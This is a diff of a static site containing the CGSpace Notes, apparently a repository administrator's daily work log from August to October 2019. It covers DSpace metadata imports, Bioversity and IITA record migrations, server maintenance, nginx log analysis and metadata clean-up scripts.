  • I increased the heap size to 1536m and tried again:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx1536m"
+$ ~/dspace/bin/dspace metadata-import -f /tmp/bioversity.csv -e blah@blah.com
+
    +
  • This time it succeeded, and using VisualVM I noticed that the import process used a maximum of 620MB of RAM
    • +
  • (oops, I realize that actually I forgot to delete items I had flagged as duplicates, so the total should be 1,427 items)
    • +
+

2019-08-14

+
    +
  • I imported the 1,427 Bioversity records into DSpace Test +
      +
    • To make sure we didn’t have memory issues I reduced Tomcat’s JVM heap by 512m, increased the import processes’s heap to 512m, and split the input file into two parts with about 700 each
      • +
    • Then I had to create a few new temporary collections on DSpace Test that had been created on CGSpace after our last sync
      • +
    • After that the import succeeded:
      • +
    +
    • +
+
$ export JAVA_OPTS='-Dfile.encoding=UTF-8 -Xmx512m'
+$ dspace metadata-import -f /tmp/bioversity1.csv -e blah@blah.com
+$ dspace metadata-import -f /tmp/bioversity2.csv -e blah@blah.com
+
    +
  • The next step is to check these items for duplicates
    • +
+

2019-08-16

+
    +
  • Email Bioversity to let them know that the 1,427 records are on DSpace Test and that Abenet should look over them
    • +
+

2019-08-18

+
    +
  • Deploy latest 5_x-prod branch on CGSpace (linode18), including the new CCAFS project tags
    • +
  • Deploy Tomcat 7.0.96 and PostgreSQL JDBC 42.2.6 driver on CGSpace (linde18)
    • +
  • After restarting Tomcat one of the Solr statistics cores failed to start up:
    • +
+
statistics-2015: org.apache.solr.common.SolrException:org.apache.solr.common.SolrException: Error opening new searcher
+
    +
  • I decided to run all system updates on the server and reboot it
    • +
  • After reboot the statistics-2018 core failed to load so I restarted tomcat7 again
    • +
  • After this last restart all Solr cores seem to be up and running
    • +
+

2019-08-20

+
    +
  • Francesco sent me a new CSV with the raw filenames and paths for the Bioversity migration +
      +
    • All file paths are relative to the Typo3 upload path of /fileadmin on the Bioversity website
      • +
    • I create a new column with the derived URL that I can use to download the PDFs with my generate-thumbnails.py script
      • +
    • Unfortunately now the filename column has paths too, so I have to use a simple Python/Jython script in OpenRefine to get the basename of the files in the filename column:
      • +
    +
    • +
+
import os
+
+return os.path.basename(value)
+
    +
  • Then I can try to download all the files again with the script
    • +
  • I also asked Francesco about the strange filenames (.LCK, .zip, and .7z)
    • +
+

2019-08-21

+
    +
  • Upload csv-metadata-quality repository to ILRI’s GitHub organization
    • +
  • Fix a few invalid countries in IITA’s July 29 records (aka “20195TH.xls”) +
      +
    • These were not caught by my csv-metadata-quality check script because of a logic error
      • +
    • Remove dc.identified.uri fields from test data, set id values to “-1”, add collection mappings according to dc.type, and Upload 126 IITA records to CGSpace
      • +
    +
    • +
+

2019-08-22

+ +

2019-08-23

+
    +
  • Run system updates on AReS / OpenRXV dev server (linode20) and reboot it
    • +
  • Fix AReS exports on DSpace Test by adding a new nginx proxy pass
    • +
+

2019-08-26

+
    +
  • Peter sent 2,943 corrections to the author dump I had originally sent him on 2019-05-27 +
      +
    • I noticed that one correction had a missing space after the comma, ie “Adamou,A.” so I corrected it
      • +
    • Also, I should add that as a check to the csv-metadata-quality pipeline
      • +
    • Apply the corrections to my local dev machine in preparation for the CGSpace:
      • +
    +
    • +
+
$ ./fix-metadata-values.py -i ~/Downloads/2019-08-26-Peter-authors.csv -db dspace -u dspace -p 'fuuu' -f dc.contributor.author -m 3 -t correct
+
    +
  • Apply the corrections on CGSpace and DSpace Test +
      +
    • After that I started a full Discovery re-indexing on both servers:
      • +
    +
    • +
+
$ time schedtool -B -e ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    81m47.057s 
+user    8m5.265s 
+sys     2m24.715s
+
    +
  • +

    Peter asked me to add related citation aka cg.link.citation to the item view

    +
      +
    • I created a pull request with a draft implementation and asked for Peter’s feedback
      • +
    +
    • +
  • +

    Add the ability to skip certain fields from the csv-metadata-quality script using --exclude-fields

    +
      +
    • For example, when I’m working on the author corrections I want to do the basic checks on the corrected fields, but on the original fields so I would use --exclude-fields dc.contributor.author for example
      • +
    +
    • +
+

2019-08-27

+
    +
  • File an issue on OpenRXV for the bug when selecting communities
    • +
  • Peter approved the related citation changes so I merged the pull request on GitHub and will deploy it to CGSpace this weekend
    • +
  • Add a safety feature to fix-metadata-values.py that skips correction values that contain the ‘|’ character
    • +
  • Help Francesco from Bioversity with the REST and OAI APIs on CGSpace +
      +
    • He is contracted by Bioversity to work on the migration from Typo3
      • +
    • I told him that the OAI interface only exposes Dublin Core fields in its default configuration and that he might want to use OAI to get the latest-changed items, then use REST API to get their metadata
      • +
    +
    • +
  • Add a fix for missing space after commas to my csv-metadata-quality script and tag version 0.2.2
    • +
+

2019-08-28

+
    +
  • Skype with Jane about AReS Phase III priorities
    • +
  • I did a test to automatically fix some authors in the database using my csv-metadata-quality script +
      +
    • First I dumped a list of all unique authors:
      • +
    +
    • +
+
dspace=# \copy (select distinct text_value, count(*) as count from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'author') AND resource_type_id = 2 group by text_value order by count desc) to /tmp/2019-08-28-all-authors.csv with csv header;
+COPY 65597
+
    +
  • Then I created a new CSV with two author columns (edit title of second column after):
    • +
+
$ csvcut -c dc.contributor.author,dc.contributor.author /tmp/2019-08-28-all-authors.csv > /tmp/all-authors.csv
+
    +
  • Then I ran my script on the new CSV, skipping one of the author columns:
    • +
+
$ csv-metadata-quality -u -i /tmp/all-authors.csv -o /tmp/authors.csv -x dc.contributor.author
+
    +
  • This fixed a bunch of issues with spaces, commas, unneccesary Unicode characters, etc
    • +
  • Then I ran the corrections on my test server and there were 185 of them!
    • +
+
$ ./fix-metadata-values.py -i /tmp/authors.csv -db dspace -u dspace -p 'fuuu' -f dc.contributor.author -m 3 -t correctauthor
+
    +
  • I very well might run these on CGSpace soon…
    • +
+

2019-08-29

+
    +
  • Resume working on the CG Core v2 changes in the 5_x-cgcorev2 branch again +
      +
    • I notice that CG Core doesn’t currently have a field for CGSpace’s “alternative title” (dc.title.alternative), but DCTERMS has dcterms.alternative so I raised an issue about adding it
      • +
    • Marie responded and said she would add dcterms.alternative
      • +
    • I created a sed script file to perform some replacements of metadata on the XMLUI XSL files:
      • +
    +
    • +
+
$ find dspace/modules/xmlui-mirage2/src/main/webapp/themes -iname "*.xsl" -exec ./cgcore-xsl-replacements.sed {} \;
+
    +
  • I think I got everything in the XMLUI themes, but there may be some things I should check once I get a deployment up and running: +
      +
    • Need to assess the XSL changes to see if things like not(@qualifier)] still make sense after we move fields from DC to DCTERMS, as some fields will no longer have qualifiers
      • +
    • Do I need to edit the author links to remove dc.contributor.author in 0_CGIAR/xsl/aspect/artifactbrowser/item-list-alterations.xsl?
      • +
    • Do I need to edit the author links to remove dc.contributor.author in 0_CGIAR/xsl/aspect/discovery/discovery-item-list-alterations.xsl?
      • +
    +
    • +
  • Thierry Lewadle asked why some PDFs on CGSpace open in the browser and some download +
      +
    • I told him it is because of the “content disposition” that causes DSpace to tell the browser to open or download the file based on its file size (currently around 8 megabytes)
      • +
    +
    • +
  • Peter asked why an item on CGSpace has no Altmetric donut on the item view, but has one in our explorer +
      +
    • I looked in the network requests when loading the CGSpace item view and I see the following response to the Altmetric API call:
      • +
    +
    • +
+
"handles":["10986/30568","10568/97825"],"handle":"10986/30568"
+
    +
  • So this is the same issue we had before, where Altmetric knows this Handle is associated with a DOI that has a score, but the client-side JavaScript code doesn’t show it because it seems to a secondary handle or something
    • +
+

2019-08-31

+
    +
  • Run system updates on DSpace Test (linode19) and reboot the server
    • +
  • Run the author fixes on DSpace Test and CGSpace and start a full Discovery re-index:
    • +
+
$ time schedtool -B -e ionice -c2 -n7 nice -n19 dspace index-discovery -b
+ 
+real    90m47.967s
+user    8m12.826s
+sys     2m27.496s
+
    +
  • I set up a test environment for CG Core v2 on my local environment and ran all the field migrations +
      +
    • DSpace comes up and runs, but there are some graphical issues, like missing community names
      • +
    • It turns out that my sed script was replacing some XSL code that was responsible for printing community names
      • +
    • See: dspace/modules/xmlui-mirage2/src/main/webapp/themes/0_CGIAR/xsl/preprocess/custom/communitylist.xsl
      • +
    • After reading the code I see that XSLT is reading the community titles from the DIM representation (stored in the $dim variable) created from METS
      • +
    • I modified the patterns in my sed script so that those lines are not replaced and then the community list works again
      • +
    • This is actually not a problem at all because this metadata is only used in the HTML meta tags in XMLUI community lists and has nothing to do with item metadata
      • +
    +
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2019-09/index.html b/docs/2019-09/index.html new file mode 100644 index 000000000..499e4bed3 --- /dev/null +++ b/docs/2019-09/index.html @@ -0,0 +1,635 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + September, 2019 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

September, 2019

+

+ + in + Notes + + +

+
+

2019-09-01

+
    +
  • Linode emailed to say that CGSpace (linode18) had a high rate of outbound traffic for several hours this morning
    • +
  • Here are the top ten IPs in the nginx XMLUI and REST/OAI logs this morning:
    • +
+
# zcat --force /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep -E "01/Sep/2019:0" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    440 17.58.101.255
+    441 157.55.39.101
+    485 207.46.13.43
+    728 169.60.128.125
+    730 207.46.13.108
+    758 157.55.39.9
+    808 66.160.140.179
+    814 207.46.13.212
+   2472 163.172.71.23
+   6092 3.94.211.189
+# zcat --force /var/log/nginx/rest.log /var/log/nginx/rest.log.1 /var/log/nginx/oai.log /var/log/nginx/oai.log.1 | grep -E "01/Sep/2019:0" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     33 2a01:7e00::f03c:91ff:fe16:fcb
+     57 3.83.192.124
+     57 3.87.77.25
+     57 54.82.1.8
+    822 2a01:9cc0:47:1:1a:4:0:2
+   1223 45.5.184.72
+   1633 172.104.229.92
+   5112 205.186.128.185
+   7249 2a01:7e00::f03c:91ff:fe18:7396
+   9124 45.5.186.2
+
    +
  • 3.94.211.189 is MauiBot, and most of its requests are to Discovery and get rate limited with HTTP 503
    • +
  • 163.172.71.23 is some IP on Online SAS in France and its user agent is:
    • +
+
Mozilla/5.0 ((Windows; U; Windows NT 6.1; fr; rv:1.9.2) Gecko/20100115 Firefox/3.6)
+
    +
  • It actually got mostly HTTP 200 responses:
    • +
+
# zcat --force /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep -E "01/Sep/2019:0" | grep 163.172.71.23 | awk '{print $9}' | sort | uniq -c
+   1775 200
+    703 499
+     72 503
+
    +
  • And it was mostly requesting Discover pages:
    • +
+
# zcat --force /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep -E "01/Sep/2019:0" | grep 163.172.71.23 | grep -o -E "(bitstream|discover|handle)" | sort | uniq -c 
+   2350 discover
+     71 handle
+
    +
  • I’m not sure why the outbound traffic rate was so high…
    • +
+

2019-09-02

+
    +
  • Follow up with Carol and Francesca from Bioversity as they were on holiday during the mid-to-late August +
      +
    • I told them to check the temporary collection on DSpace Test where I uploaded the 1,427 items so they can see how it will look
      • +
    • Also, I told them to advise me about the strange file extensions (.7z, .zip, .lck)
      • +
    • Also, I reminded Abenet to check the metadata, as the institutional authors at least will need some modification
      • +
    +
    • +
+

2019-09-10

+
    +
  • Altmetric responded to say that they have fixed an issue with their badge code so now research outputs with multiple handles are showing badges! + +
    • +
  • Follow up with Bosede about the mixup with PDFs in the items uploaded in 2018-12 (aka Daniel1807.xsl) +
      +
    • These are the same ones that Peter noticed last week, that Bosede and I had been discussing earlier this year that we never sorted out
      • +
    • It looks like these items were uploaded by Sisay on 2018-12-19 so we can use the accession date as a filter to narrow it down to 230 items (of which only 104 have PDFs, according to the Daniel1807.xls input input file)
      • +
    • Now I just checked a few manually and they are correct in the original input file, so something must have happened when Sisay was processing them for upload
      • +
    • I have asked Sisay to fix them…
      • +
    +
    • +
  • Continue working on CG Core v2 migration, focusing on the crosswalk mappings +
      +
    • I think we can skip the MODS crosswalk for now because it is only used in AIP exports that are meant for non-DSpace systems
      • +
    • We should probably do the QDC crosswalk as well as those in xhtml-head-item.properties…
      • +
    • Ouch, there is potentially a lot of work in the OAI metadata formats like DIM, METS, and QDC (see dspace/config/crosswalks/oai/*.xsl)
      • +
    • In general I think I should only modify the left side of the crosswalk mappings (ie, where metadata is coming from) so we maintain the same exact output for search engines, etc
      • +
    +
    • +
+

2019-09-11

+
    +
  • Maria Garruccio asked me to add two new Bioversity ORCID identifiers to CGSpace so I created a pull request
    • +
  • Marissa Van Epp asked me to add new CCAFS Phase II project tags to CGSpace so I created a pull request +
      +
    • I will wait until I hear from her to merge it because there is one tag that seems to be a duplicate because its name (PII-WA_agrosylvopast) is similar to one that already exists (PII-WA_AgroSylvopastoralSystems)
      • +
    +
    • +
  • More work on the CG Core v2 migrations + +
    • +
+

2019-09-12

+ +

2019-09-15

+
    +
  • Deploy Bioversity ORCID identifier updates to CGSpace
    • +
  • Deploy PostgreSQL JDBC driver 42.2.7 on CGSpace
    • +
  • Run system updates on CGSpace (linode18) and restart the server +
      +
    • After restarting the system Tomcat came back up, but not all Solr statistics cores were loaded
      • +
    • I had to restart Tomcat one more time until the cores were loaded (verified in the Solr admin)
      • +
    +
    • +
  • Update nginx TLS cipher suite to the latest Mozilla intermediate recommendations for nginx 1.16.0 and openssl 1.0.2 +
      +
    • DSpace Test (linode19) is running Ubuntu 18.04 with nginx 1.17.x and openssl 1.1.1 so it can even use TLS v1.3 if we override the nginx ssl protocol in its host vars
      • +
    +
    • +
  • XMLUI item view pages are blank on CGSpace right now +
      +
    • Like earliert this year, I see the following error in the Cocoon log while browsing:
      • +
    +
    • +
+
2019-09-15 15:32:18,137 WARN  org.apache.cocoon.components.xslt.TraxErrorListener  - Can not load requested doc: unknown protocol: cocoon at jndi:/localhost/themes/CIAT/xsl/../../0_CGIAR/xsl//aspect/artifactbrowser/common.xsl:141:90
+
    +
  • Around the same time I see the following in the DSpace log:
    • +
+
2019-09-15 15:32:18,079 INFO  org.dspace.usage.LoggerUsageEventListener @ aorth@blah:session_id=A11C362A7127004C24E77198AF9E4418:ip_addr=x.x.x.x:view_item:handle=10568/103644 
+2019-09-15 15:32:18,135 WARN  org.dspace.core.PluginManager @ Cannot find named plugin for interface=org.dspace.content.crosswalk.DisseminationCrosswalk, name="METSRIGHTS"
+
    +
  • I see a lot of these errors today, but not earlier this month:
    • +
+
# grep -c 'Cannot find named plugin' dspace.log.2019-09-*
+dspace.log.2019-09-01:0
+dspace.log.2019-09-02:0
+dspace.log.2019-09-03:0
+dspace.log.2019-09-04:0
+dspace.log.2019-09-05:0
+dspace.log.2019-09-06:0
+dspace.log.2019-09-07:0
+dspace.log.2019-09-08:0
+dspace.log.2019-09-09:0
+dspace.log.2019-09-10:0
+dspace.log.2019-09-11:0
+dspace.log.2019-09-12:0
+dspace.log.2019-09-13:0
+dspace.log.2019-09-14:0
+dspace.log.2019-09-15:808
+
    +
  • Something must have happened when I restarted Tomcat a few hours ago, because earlier in the DSpace log I see a bunch of errors like this:
    • +
+
2019-09-15 13:59:24,136 ERROR org.dspace.core.PluginManager @ Name collision in named plugin, implementation class="org.dspace.content.crosswalk.METSRightsCrosswalk", name="METSRIGHTS"
+2019-09-15 13:59:24,136 ERROR org.dspace.core.PluginManager @ Name collision in named plugin, implementation class="org.dspace.content.crosswalk.OREDisseminationCrosswalk", name="ore"
+2019-09-15 13:59:24,136 ERROR org.dspace.core.PluginManager @ Name collision in named plugin, implementation class="org.dspace.content.crosswalk.DIMDisseminationCrosswalk", name="dim"
+
    +
  • I restarted Tomcat and the item views came back, but then the Solr statistics cores didn’t all load properly +
      +
    • After restarting Tomcat once again, both the item views and the Solr statistics cores all came back OK
      • +
    +
    • +
+

2019-09-19

+
    +
  • For some reason my podman PostgreSQL container isn’t working so I had to use Docker to re-create it for my testing work today:
    • +
+
# docker pull docker.io/library/postgres:9.6-alpine
+# docker create volume dspacedb_data
+# docker run --name dspacedb -v dspacedb_data:/var/lib/postgresql/data -e POSTGRES_PASSWORD=postgres -p 5432:5432 -d postgres:9.6-alpine
+$ createuser -h localhost -U postgres --pwprompt dspacetest
+$ createdb -h localhost -U postgres -O dspacetest --encoding=UNICODE dspacetest
+$ psql -h localhost -U postgres dspacetest -c 'alter user dspacetest superuser;'
+$ pg_restore -h localhost -U postgres -d dspacetest -O --role=dspacetest -h localhost ~/Downloads/cgspace_2019-08-31.backup
+$ psql -h localhost -U postgres dspacetest -c 'alter user dspacetest nosuperuser;'
+$ psql -h localhost -U postgres -f ~/src/git/DSpace/dspace/etc/postgres/update-sequences.sql dspacetest
+
    +
  • Elizabeth from CIAT sent me a list of sixteen authors who need to have their ORCID identifiers tagged with their publications +
      +
    • I manually checked the ORCID profile links to make sure they matched the names
      • +
    • Then I created an input file to use with my add-orcid-identifiers-csv.py script:
      • +
    +
    • +
+
dc.contributor.author,cg.creator.id
+"Kihara, Job","Job Kihara: 0000-0002-4394-9553"
+"Twyman, Jennifer","Jennifer Twyman: 0000-0002-8581-5668"
+"Ishitani, Manabu","Manabu Ishitani: 0000-0002-6950-4018"
+"Arango, Jacobo","Jacobo Arango: 0000-0002-4828-9398"
+"Chavarriaga Aguirre, Paul","Paul Chavarriaga-Aguirre: 0000-0001-7579-3250"
+"Paul, Birthe","Birthe Paul: 0000-0002-5994-5354"
+"Eitzinger, Anton","Anton Eitzinger: 0000-0001-7317-3381"
+"Hoek, Rein van der","Rein van der Hoek: 0000-0003-4528-7669"
+"Aranzales Rondón, Ericson","Ericson Aranzales Rondon: 0000-0001-7487-9909"
+"Staiger-Rivas, Simone","Simone Staiger: 0000-0002-3539-0817"
+"de Haan, Stef","Stef de Haan: 0000-0001-8690-1886"
+"Pulleman, Mirjam","Mirjam Pulleman: 0000-0001-9950-0176"
+"Abera, Wuletawu","Wuletawu Abera: 0000-0002-3657-5223"
+"Tamene, Lulseged","Lulseged Tamene: 0000-0002-3806-8890"
+"Andrieu, Nadine","Nadine Andrieu: 0000-0001-9558-9302"
+"Ramírez-Villegas, Julián","Julian Ramirez-Villegas: 0000-0002-8044-583X"
+
    +
  • I tested the file on my local development machine with the following invocation:
    • +
+
$ ./add-orcid-identifiers-csv.py -i 2019-09-19-ciat-orcids.csv -db dspace -u dspace -p 'fuuu'
+
    +
  • In my test environment this added 390 ORCID identifier
    • +
  • I ran the same updates on CGSpace and DSpace Test and then started a Discovery re-index to force the search index to update
    • +
  • Update the PostgreSQL JDBC driver to version 42.2.8 in our Ansible infrastructure scripts + +
    • +
  • Run system updates on DSpace Test (linode19) and reboot it
    • +
  • Start looking at IITA’s latest round of batch updates that Sisay had uploaded to DSpace Test earlier this month +
      +
    • For posterity, IITA’s original input file was 20196th.xls and Sisay uploaded it as “IITA_Sep_06” to DSpace Test
      • +
    • Sisay said he did ran the csv-metadata-quality script on the records, but I assume he didn’t run the unsafe fixes or AGROVOC checks because I still see unneccessary Unicode, excessive whitespace, one invalid ISBN, missing dates and a few invalid AGROVOC fields
      • +
    • In addition, a few records were missing authorship type
      • +
    • I deleted two invalid AGROVOC terms because they were ambiguous
      • +
    • Validate and normalize affiliations against our 2019-04 list using reconcile-csv and OpenRefine: +
        +
      • $ lein run ~/src/git/DSpace/2019-04-08-affiliations.csv name id
        • +
      • I always forget how to copy the reconciled values in OpenRefine, but you need to make a new colum and populate it using this GREL: if(cell.recon.matched, cell.recon.match.name, value)
        • +
      +
      • +
    • I also looked through the IITA subjects to normalize some values
      • +
    +
    • +
  • Follow up with Marissa again about the CCAFS phase II project tags
    • +
  • Generate a list of the top 1500 authors on CGSpace:
    • +
+
dspace=# \copy (SELECT DISTINCT text_value, count(*) FROM metadatavalue WHERE metadata_field_id = (SELECT metadata_field_id FROM metadatafieldregistry WHERE element = 'contributor' AND qualifier = 'author') AND resource_type_id = 2 GROUP BY text_value ORDER BY count DESC LIMIT 1500) to /tmp/2019-09-19-top-1500-authors.csv WITH CSV HEADER;
+
    +
  • Then I used csvcut to select the column of author names, strip the header and quote characters, and saved the sorted file:
    • +
+
$ csvcut -c text_value /tmp/2019-09-19-top-1500-authors.csv | grep -v text_value | sed 's/"//g' | sort > dspace/config/controlled-vocabularies/dc-contributor-author.xml
+
    +
  • After adding the XML formatting back to the file I formatted it using XML tidy:
    • +
+
$ tidy -xml -utf8 -m -iq -w 0 dspace/config/controlled-vocabularies/dc-contributor-author.xml
+
+

2019-09-20

+
    +
  • Deploy a fresh snapshot of CGSpace’s PostgreSQL database on DSpace Test so we can get more accurate duplicate checking with the upcoming Bioversity and IITA migrations
    • +
  • Skype with Carol and Francesca to discuss the Bioveristy migration to CGSpace +
      +
    • They want to do some enrichment of the metadata to add countries and regions
      • +
    • Also, they noticed that some items have a blank ISSN in the citation like “ISSN:”
      • +
    • I told them it’s probably best if we have Francesco produce a new export from Typo 3
      • +
    • But on second thought I think that I’ve already done so much work on this file as it is that I should fix what I can here and then do a new import to DSpace Test with the PDFs
      • +
    • Other corrections would be to replace “Inst.” and “Instit.” with “Institute” and remove those blank ISSNs from the citations
      • +
    • I will rename the files with multiple underscores so they match the filename column in the CSV using this command:
      • +
    +
    • +
+
$ perl-rename -n 's/_{2,3}/_/g' *.pdf
+
    +
  • I was going preparing to run SAFBuilder for the Bioversity migration and decided to check the list of PDFs on my local machine versus on DSpace Test (where I had downloaded them last month) +
      +
    • There are a few dozen that have completely fucked up names due to some encoding error
      • +
    • To make matters worse, when I tried to download them, some of the links in the “URL” column that Francesco included are wrong, so I had to go to the permalink and get a link that worked
      • +
    • After downloading everything I had to use Ubuntu’s version of rename to get rid of all the double and triple underscores:
      • +
    +
    • +
+
$ rename -v 's/___/_/g'  *.pdf
+$ rename -v 's/__/_/g'  *.pdf
+
    +
  • I’m still waiting to hear what Carol and Francesca want to do with the 1195.pdf.LCK file (for now I’ve removed it from the CSV, but for future reference it has the number 630 in its permalink)
    • +
  • I wrote two fairly long GREL expressions to clean up the institutional author names in the dc.contributor.author and dc.identifier.citation fields using OpenRefine +
      +
    • The first targets acronyms in parentheses like “International Livestock Research Institute (ILRI)”:
      • +
    +
    • +
+
value.replace(/,? ?\((ANDES|APAFRI|APFORGEN|Canada|CFC|CGRFA|China|CacaoNet|CATAS|CDU|CIAT|CIRF|CIP|CIRNMA|COSUDE|Colombia|COA|COGENT|CTDT|Denmark|DfLP|DSE|ECPGR|ECOWAS|ECP\/GR|England|EUFORGEN|FAO|France|Francia|FFTC|Germany|GEF|GFU|GGCO|GRPI|italy|Italy|Italia|India|ICCO|ICAR|ICGR|ICRISAT|IDRC|INFOODS|IPGRI|IBPGR|ICARDA|ILRI|INIBAP|INBAR|IPK|ISG|IT|Japan|JIRCAS|Kenya|LI\-BIRD|Malaysia|NARC|NBPGR|Nepal|OOAS|RDA|RISBAP|Rome|ROPPA|SEARICE|Senegal|SGRP|Sweden|Syrian Arab Republic|The Netherlands|UNDP|UK|UNEP|UoB|UoM|United Kingdom|WAHO)\)/,"")
+
    +
  • The second targets cities and countries after names like “International Livestock Research Intstitute, Kenya”:
    • +
+
replace(/,? ?(ali|Aleppo|Amsterdam|Beijing|Bonn|Burkina Faso|CN|Dakar|Gatersleben|London|Montpellier|Nairobi|New Delhi|Kaski|Kepong|Malaysia|Khumaltar|Lima|Ltpur|Ottawa|Patancheru|Peru|Pokhara|Rome|Uppsala|University of Mauritius|Tsukuba)/,"")
+
    +
  • I imported the 1,427 Bioversity records with bitstreams to a new collection called 2019-09-20 Bioversity Migration Test on DSpace Test (after splitting them in two batches of about 700 each):
    • +
+
$ export JAVA_OPTS='-Dfile.encoding=UTF-8 -Xmx768m'
+$ dspace import -a me@cgiar.org -m 2019-09-20-bioversity1.map -s /home/aorth/Bioversity/bioversity1
+$ dspace import -a me@cgiar.org -m 2019-09-20-bioversity2.map -s /home/aorth/Bioversity/bioversity2
+
    +
  • After that I exported the collection again and started doing some quality checks and cleanups: +
      +
    • Change all DOIs to use https://doi.org format
      • +
    • Change all bioversityinternational.org links to use https://
      • +
    • Fix ten authors with invalid names like “Orth,.” by checking the correct name in the citation
      • +
    • Fix several invalid ISBNs, but there are several more that contain incorrect ISBNs in their PDFs!
      • +
    • Fix some citations that were using “ISSN” instead of ISBN
      • +
    +
    • +
  • The next steps are: +
      +
    • Check for duplicates
      • +
    • Continue with institutional author normalization
      • +
    • Ask which collection to map items with type Brochure, Journal Item, and Thesis?
      • +
    +
    • +
+

2019-09-21

+
    +
  • Re-upload the IITA Sept 6 (20196th.xls) records to DSpace Test after I did the re-sync yesterday +
      +
    • Then I looked at the records again and sent some feedback about three duplicates to Bosede
      • +
    • Also I noticed that many journal articles have the journal and page information in the citation, but are missing dc.source and dc.format.extent fields
      • +
    +
    • +
  • Play with language identification using the langdetect, fasttext, polyglot, and langid libraries + +
    • +
  • I added very experimental language detection to the csv-metadata-quality module +
      +
    • It works by checking the predicted language of the dc.title field against the item’s dc.language.iso field
      • +
    • I tested it on the Bioversity migration data set and it actually helped me correct eleven language fields in their records!
      • +
    +
    • +
+

2019-09-24

+
    +
  • Bosede fixed a few of the things I mentioned in her Sept 6 batch records, but there were still issues +
      +
    • I sent her a bit more feedback because when I asked her to delete a duplicate, she deleted the existing item on DSpace Test rather than the new one in the new batch file!
      • +
    • I fixed two incorrect languages after analyzing it with my beta language detection in the csv-metadata-quality tool
      • +
    +
    • +
+

2019-09-26

+
    +
  • Release version 0.3.0 of the csv-metadata-quality tool +
      +
    • This version includes the experimental validation of languages using the Python langid library
      • +
    • I also included updated pytest tests and test files that specifically test this functionality
      • +
    +
    • +
  • Give more feedback to Bosede about the IITA Sept 6 (20196th.xls) records on DSpace Test +
      +
    • I told her to delete one item that appears to be a duplicate, or to fix its citation to be correct if she thinks it is not a duplicate
      • +
    • I deleted another item that I had previously identified as a duplicate that she had fixed by incorrectly deleting the original (ugh)
      • +
    +
    • +
  • Get a list of institutions from CCAFS’s Clarisa API and try to parse it with jq, do some small cleanups and add a header in sed, and then pass it through csvcut to add line numbers:
    • +
+
$ cat ~/Downloads/institutions.json| jq '.[] | {name: .name}' | grep name | awk -F: '{print $2}' | sed -e 's/"//g' -e 's/^ //' -e '1iname' | csvcut -l | sed '1s/line_number/id/' > /tmp/clarisa-institutions.csv
+$ csv-metadata-quality -i /tmp/clarisa-institutions.csv -o /tmp/clarisa-institutions-cleaned.csv -u
+
    +
  • The csv-metadata-quality tool caught a few records with excessive spacing and unnecessary Unicode
    • +
  • I could potentially use this with reconcile-csv and OpenRefine as a source to validate our institutional authors against…
    • +
+

2019-09-27

+
    +
  • Skype with Peter and Abenet about CGSpace actions +
      +
    • Peter will respond to ICARDA’s request to deposit items in to CGSpace, with a caveat that we agree on some vocabulary standards for institutions, countries, regions, etc
      • +
    • We discussed using ISO 3166 for countries, though Peter doesn’t like the formal names like “Moldova, Republic of” and “Tanzania, United Republic of” +
        +
      • The Debian iso-codes package has ISO 3166-1 with “common name”, “name”, and “official name” representations, for example: +
          +
        • common_name: Tanzania
          • +
        • name: Tanzania, United Republic of
          • +
        • official_name: United Republic of Tanzania
          • +
        +
        • +
      • There are still some unfortunate ones there, though: +
          +
        • name: Korea, Democratic People’s Republic of
          • +
        • official_name: Democratic People’s Republic of Korea
          • +
        +
        • +
      • And this, which isn’t even in English… +
          +
        • name: Côte d’Ivoire
          • +
        • official_name: Republic of Côte d’Ivoire
          • +
        +
        • +
      • The other alternative is to just keep using the names we have, which are mostly compliant with AGROVOC
        • +
      +
      • +
    • Peter said that a new server for DSpace Test is fine, so I can proceed with the normal process of getting approval from Michael Victor and ICT when I have time (recommend moving from $40 to $80/month Linode, with 16GB RAM)
      • +
    • I need to ask Atmire for a quote to upgrade CGSpace to DSpace 6 with all current modules so we can see how many more credits we need
      • +
    +
    • +
  • A little bit more work on the Sept 6 IITA batch records +
      +
    • Bosede deleted the one item that I told her was a duplicate
      • +
    • I checked the AGROVOC subjects and fixed one incorrect one
      • +
    • Then I told her that I think the items are ready to go to CGSpace and asked Abenet for a final comment
      • +
    +
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2019-10/index.html b/docs/2019-10/index.html new file mode 100644 index 000000000..91ff23024 --- /dev/null +++ b/docs/2019-10/index.html @@ -0,0 +1,439 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + October, 2019 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

October, 2019

+

+ + in + Notes + + +

+
+

2019-10-01

+
    +
  • Udana from IWMI asked me for a CSV export of their community on CGSpace +
      +
    • I exported it, but a quick run through the csv-metadata-quality tool shows that there are some low-hanging fruits we can fix before I send him the data
      • +
    • I will limit the scope to the titles, regions, subregions, and river basins for now to manually fix some non-breaking spaces (U+00A0) there that would otherwise be removed by the csv-metadata-quality script’s “unneccesary Unicode” fix:
      • +
    +
    • +
+
$ csvcut -c 'id,dc.title[en_US],cg.coverage.region[en_US],cg.coverage.subregion[en_US],cg.river.basin[en_US]' ~/Downloads/10568-16814.csv > /tmp/iwmi-title-region-subregion-river.csv
+
    +
  • Then I replace them in vim with :% s/\%u00a0/ /g because I can’t figure out the correct sed syntax to do it directly from the pipe above
    • +
  • I uploaded those to CGSpace and then re-exported the metadata
    • +
  • Now that I think about it, I shouldn’t be removing non-breaking spaces (U+00A0), I should be replacing them with normal spaces!
    • +
  • I modified the script so it replaces the non-breaking spaces instead of removing them
    • +
